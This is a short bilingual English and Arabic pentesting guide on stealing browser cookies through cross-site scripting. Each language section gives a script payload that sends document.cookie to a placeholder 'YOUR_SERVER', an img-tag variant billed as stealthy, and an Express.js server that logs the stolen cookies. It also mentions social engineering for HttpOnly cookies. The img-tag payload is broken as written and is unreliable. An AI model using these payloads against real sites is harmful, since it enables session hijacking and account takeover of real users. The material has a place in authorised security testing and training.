XSS Cookie Exfiltration Guide
XSS Cookie Exfiltration Guide · from Anas-Magane/Pentesting (TOP_10_OWASP / XSS).
English Version#
Steps to retrieve cookies via XSS:#
-
Identify the XSS point
- Example: comment field, user input, query param, etc.
- Ensure the HTML/JS injection works.
-
Simple payload to get cookies
html
<script>
alert(document.cookie);
fetch('http://YOUR_SERVER/cookie?c=' + document.cookie);
</script>- Replace
YOUR_SERVERwith your server to receive cookies.
- Alternative using
imgtag (stealthy)
html
<img src="http://YOUR_SERVER/c?c=" + document.cookie />- Works well in environments blocking
<script>.
-
Server-side collection
- Minimal Node.js example:
javascript
const express = require('express');
const app = express();
app.get('/c', (req, res) => {
console.log(req.query.c); // cookie here
res.send('ok');
});
app.listen(80, () => console.log('Listening...'));- Note: If cookies have
HttpOnly, they cannot be accessed via JS. Other methods like CSRF + XSS or social engineering are needed.
النسخة العربية#
خطوات الحصول على الكوكيز عبر XSS:#
-
تحديد نقطة XSS
- مثال: حقل التعليقات، إدخال المستخدم، query param، إلخ.
- تأكد أن حقن HTML/JS يعمل.
-
رمز بسيط لاستخراج الكوكيز
html
<script>
alert(document.cookie);
fetch('http://YOUR_SERVER/cookie?c=' + document.cookie);
</script>- استبدل
YOUR_SERVERبالخادم الخاص بك لاستقبال الكوكيز.
- بديل باستخدام
img(خفيف)
html
<img src="http://YOUR_SERVER/c?c=" + document.cookie />- يعمل جيداً في بيئات تمنع
<script>.
-
جمع البيانات على الخادم
- مثال Node.js بسيط:
javascript
const express = require('express');
const app = express();
app.get('/c', (req, res) => {
console.log(req.query.c); // الكوكيز هنا
res.send('ok');
});
app.listen(80, () => console.log('Listening...'));- ملاحظة: إذا كانت الكوكيز تحتوي على
HttpOnly، فلن تستطيع الوصول إليها عبر JS. تحتاج لطُرق أخرى مثل CSRF + XSS أو الهندسة الاجتماعية.